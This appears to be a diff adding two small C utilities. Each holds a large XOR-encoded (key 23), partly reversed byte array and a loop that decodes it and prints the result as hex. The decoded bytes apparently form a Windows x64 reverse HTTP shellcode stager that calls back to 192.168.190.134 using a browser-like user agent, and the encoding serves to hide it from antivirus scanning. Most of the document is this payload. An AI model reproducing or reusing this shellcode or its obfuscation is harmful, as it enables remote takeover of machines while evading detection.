0x7b, 0x26, 0x72, 0x63, 0x5a, 0x44, 0x25, 0x55, 0x76, 0x50, 0x48, 0x20, 0x2f, 0x23, 0x7c, 0x7e, 0x79, 0x7b, 0x48, 0x7d, 0x60, 0x47, 0x55, 0x56, 0x64, 0x67, 0x62, 0x48, 0x5a, 0x20, 0x58, 0x6d, 0x7a, 0x74, 0x65, 0x59, 0x45, 0x4e, 0x7e, 0x53, 0x60, 0x62, 0x38, 0x17, 0x17, 0x17, 0x5c, 0xff, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xd1, 0x88, 0x9e, 0x40, 0xad, 0x5e, 0x44, 0x14, 0x7d, 0x44, 0x44, 0xde, 0x26, 0x5a, 0x17, 0x17, 0x17, 0x47, 0xd7, 0xd0, 0x5e, 0xd6, 0x9e, 0x5f, 0x4d, 0x17, 0x23, 0x24, 0x26, 0x39, 0x27, 0x2e, 0x26, 0x39, 0x2f, 0x21, 0x26, 0x39, 0x25, 0x2e, 0x26, 0x17, 0x17, 0x17, 0x7, 0xff, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xb0, 0x6e, 0x41, 0x2d, 0xad, 0x5e, 0x44, 0x44, 0xde, 0x26, 0x5a, 0xd7, 0x26, 0x5a, 0x4d, 0x44, 0x4e, 0x17, 0x21, 0x24, 0x39, 0x20, 0x24, 0x22, 0x38, 0x7e, 0x65, 0x76, 0x71, 0x76, 0x44, 0x37, 0x27, 0x39, 0x27, 0x39, 0x27, 0x39, 0x26, 0x24, 0x26, 0x38, 0x72, 0x7a, 0x78, 0x65, 0x7f, 0x54, 0x37, 0x3e, 0x78, 0x7c, 0x74, 0x72, 0x50, 0x37, 0x72, 0x7c, 0x7e, 0x7b, 0x37, 0x3b, 0x5b, 0x5a, 0x43, 0x5f, 0x5c, 0x3f, 0x37, 0x21, 0x24, 0x39, 0x20, 0x24, 0x22, 0x38, 0x63, 0x7e, 0x5c, 0x75, 0x72, 0x40, 0x72, 0x7b, 0x67, 0x67, 0x56, 0x37, 0x3e, 0x23, 0x21, 0x6f, 0x37, 0x2c, 0x23, 0x21, 0x79, 0x7e, 0x40, 0x37, 0x2c, 0x27, 0x39, 0x27, 0x26, 0x37, 0x43, 0x59, 0x37, 0x64, 0x60, 0x78, 0x73, 0x79, 0x7e, 0x40, 0x3f, 0x37, 0x27, 0x39, 0x22, 0x38, 0x76, 0x7b, 0x7b, 0x7e, 0x6d, 0x78, 0x5a, 0x17, 0x17, 0x17, 0x67, 0xff, 0x44, 0x44, 0xc2, 0xe8, 0x10, 0x31, 0x60, 0x5b, 0xd5, 0xd0, 0x5e, 0xf6, 0x9e, 0x5f, 0x41, 0x56, 0x17, 0x63, 0x72, 0x79, 0x7e, 0x79, 0x7e, 0x60, 0xa9, 0x5e, 0x44, 0xcc, 0x26, 0x5f, 0x4a, 0xe8, 0xe8, 0xe8, 0x5c, 0xfe, 0x5, 0x9c, 0x5f, 0x4d, 0x4e, 0x56, 0x4f, 0xf7, 0xe8, 0x45, 0x56, 0x37, 0xfb, 0x94, 0x5f, 0x4d, 0x56, 0x4e, 0x56, 0x4f, 0x56, 0x4d, 0x4e, 0x49, 0xc7, 0x16, 0x5f, 0x4f, 0x56, 0x4f, 0x56, 0x9f, 0x13, 0x9c, 0x56, 0xc7, 0x16, 0x5e, 0xb, 0x57, 0x9c, 0x53, 0x5f, 0x1b, 0x9c, 0x56, 0x71, 0xc7, 0x16, 0x5e, 0x33, 0x57, 0x9c, 0x53, 0x4f, 0xcf, 0x62, 0xc6, 0x2e, 0x52, 0x1f, 0x33, 0x5b, 0x14, 0x5b, 0xe6, 0x62, 0xf7, 0x2f, 0xd6, 0x16, 0x56, 0x1a, 0xde, 0xd6, 0x56, 0xbb, 0xd7, 0x26, 0x5f, 0xc1, 0x16, 0x5f, 0xde, 0x26, 0x5a, 0x9f, 0x23, 0x9c, 0x56, 0xde, 0xe8, 0x5f, 0x41, 0xf4, 0x47, 0xf, 0x5f, 0x9c, 0xc7, 0x16, 0x5e, 0x37, 0x57, 0x9c, 0x53, 0xc7, 0x16, 0x5f, 0x70, 0x63, 0xd7, 0x92, 0x5f, 0x17, 0x17, 0x17, 0x9f, 0x97, 0x9c, 0x17, 0x17, 0x17, 0x65, 0x92, 0x18, 0x15, 0x1c, 0xf, 0x6f, 0x96, 0x71, 0xc7, 0x16, 0x5f, 0x46, 0x56, 0x2b, 0x55, 0x9c, 0x37, 0x45, 0x9c, 0x5f, 0x45, 0xfa, 0xf5, 0xd6, 0x16, 0x56, 0x1a, 0xde, 0xd6, 0x56, 0x37, 0x3b, 0x15, 0x6b, 0x76, 0x2b, 0xbb, 0xd7, 0x26, 0x5f, 0xde, 0x26, 0x5a, 0x47, 0x65, 0x9c, 0x5f, 0x5d, 0x5d, 0xa0, 0x18, 0x5f, 0x41, 0x46, 0x37, 0x45, 0x9c, 0x5f, 0xf, 0x45, 0x9c, 0x5f, 0x77, 0x45, 0x9c, 0x5f, 0x72, 0xc5, 0x26, 0x5f, 0x45, 0x47, 0x56, 0x46, 0x56, 0x17, 0x17, 0x17, 0xdb, 0xff, 0xe7, 0xf3, 0x94, 0x5f, 0xeb};
+
+        char shellcode[sizeof(reversed_payload)] = {0};
+        unsigned int len = sizeof(reversed_payload);
+        int xorkey = 23;
+
+        // reverse and de-xor our array of ints
+        for (int i = 0; i < len; i++)
+        {
+                char decoded = reversed_payload[len - i - 1] ^ xorkey;
+                shellcode[i] = decoded;
+        }
+
+        int idx = 0;
+        while (idx < sizeof(reversed_payload))
+        {
+                if (idx == (sizeof(reversed_payload) - 1))
+                {
+                        printf("0x%02x ", (unsigned char)shellcode[idx]);
+                }
+                else
+                {
+                        printf("0x%02x, ", (unsigned char)shellcode[idx]);
+                }
+                idx++;
+        }
+
+        return 0;
+}
@@ -0,0 +1,33 @@
+#include <windows.h>
+#include <stdio.h>
+
+
+int main(void)
+{	
+	
+	unsigned int xorkey = 23;
+unsigned char shellcode[711] = {235, 95, 148, 243, 231, 255, 219, 23, 23, 23, 86, 70, 86, 71, 69, 95, 38, 197, 114, 95, 156, 69, 119, 95, 156, 69, 15, 95, 156, 69, 55, 70, 65, 95, 24, 160, 93, 93, 95, 156, 101, 71, 90, 38, 222, 95, 38, 215, 187, 43, 118, 107, 21, 59, 55, 86, 214, 222, 26, 86, 22, 214, 245, 250, 69, 95, 156, 69, 55, 156, 85, 43, 86, 70, 95, 22, 199, 113, 150, 111, 15, 28, 21, 24, 146, 101, 23, 23, 23, 156, 151, 159, 23, 23, 23, 95, 146, 215, 99, 112, 95, 22, 199, 83, 156, 87, 55, 94, 22, 199, 156, 95, 15, 71, 244, 65, 95, 232, 222, 86, 156, 35, 159, 90, 38, 222, 95, 22, 193, 95, 38, 215, 187, 86, 214, 222, 26, 86, 22, 214, 47, 247, 98, 230, 91, 20, 91, 51, 31, 82, 46, 198, 98, 207, 79, 83, 156, 87, 51, 94, 22, 199, 113, 86, 156, 27, 95, 83, 156, 87, 11, 94, 22, 199, 86, 156, 19, 159, 86, 79, 86, 79, 95, 22, 199, 73, 78, 77, 86, 79, 86, 78, 86, 77, 95, 148, 251, 55, 86, 69, 232, 247, 79, 86, 78, 77, 95, 156, 5, 254, 92, 232, 232, 232, 74, 95, 38, 204, 68, 94, 169, 96, 126, 121, 126, 121, 114, 99, 23, 86, 65, 95, 158, 246, 94, 208, 213, 91, 96, 49, 16, 232, 194, 68, 68, 255, 103, 23, 23, 23, 90, 120, 109, 126, 123, 123, 118, 56, 34, 57, 39, 55, 63, 64, 126, 121, 115, 120, 96, 100, 55, 89, 67, 55, 38, 39, 57, 39, 44, 55, 64, 126, 121, 33, 35, 44, 55, 111, 33, 35, 62, 55, 86, 103, 103, 123, 114, 64, 114, 117, 92, 126, 99, 56, 34, 36, 32, 57, 36, 33, 55, 63, 92, 95, 67, 90, 91, 59, 55, 123, 126, 124, 114, 55, 80, 114, 116, 124, 120, 62, 55, 84, 127, 101, 120, 122, 114, 56, 38, 36, 38, 57, 39, 57, 39, 57, 39, 55, 68, 118, 113, 118, 101, 126, 56, 34, 36, 32, 57, 36, 33, 23, 78, 68, 77, 90, 38, 215, 90, 38, 222, 68, 68, 94, 173, 45, 65, 110, 176, 23, 23, 23, 23, 232, 194, 255, 7, 23, 23, 23, 38, 46, 37, 57, 38, 33, 47, 57, 38, 46, 39, 57, 38, 36, 35, 23, 77, 95, 158, 214, 94, 208, 215, 71, 23, 23, 23, 90, 38, 222, 68, 68, 125, 20, 68, 94, 173, 64, 158, 136, 209, 23, 23, 23, 23, 232, 194, 255, 92, 23, 23, 23, 56, 98, 96, 83, 126, 78, 69, 89, 101, 116, 122, 109, 88, 32, 90, 72, 98, 103, 100, 86, 85, 71, 96, 125, 72, 123, 121, 126, 124, 35, 47, 32, 72, 80, 118, 85, 37, 68, 90, 99, 114, 38, 123, 125, 79, 113, 83, 71, 99, 46, 46, 81, 117, 99, 70, 86, 79, 34, 102, 65, 117, 38, 69, 126, 86, 67, 93, 88, 121, 102, 97, 111, 98, 58, 23, 95, 158, 214, 68, 77, 86, 79, 90, 38, 222, 68, 95, 175, 23, 21, 63, 147, 23, 23, 23, 23, 71, 68, 68, 94, 208, 213, 252, 66, 57, 44, 232, 194, 95, 158, 209, 125, 29, 72, 68, 77, 95, 158, 230, 90, 38, 222, 90, 38, 222, 68, 68, 94, 208, 213, 58, 17, 15, 108, 232, 194, 146, 215, 98, 8, 95, 208, 214, 159, 4, 23, 23, 94, 173, 83, 231, 34, 247, 23, 23, 23, 23, 232, 194, 95, 232, 216, 99, 21, 252, 219, 255, 66, 23, 23, 23, 68, 78, 125, 87, 77, 94, 158, 198, 214, 245, 7, 94, 208, 215, 23, 7, 23, 23, 94, 173, 79, 179, 68, 242, 23, 23, 23, 23, 232, 194, 95, 132, 68, 68, 95, 158, 240, 95, 158, 230, 95, 158, 205, 94, 208, 215, 23, 55, 23, 23, 94, 158, 238, 94, 173, 5, 129, 158, 245, 23, 23, 23, 23, 232, 194, 95, 148, 211, 55, 146, 215, 99, 165, 113, 156, 16, 95, 22, 212, 146, 215, 98, 197, 79, 212, 79, 125, 23, 78, 94, 208, 213, 231, 162, 181, 65, 232, 194};
+
+	// XOR each byte of our shellcode with the key to decode it
+	for (int idx = 0;  idx < sizeof(shellcode); idx++) {
+        shellcode[idx] = shellcode[idx] ^ xorkey;
+	}
+
+	int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+
+	return 0;
+}
+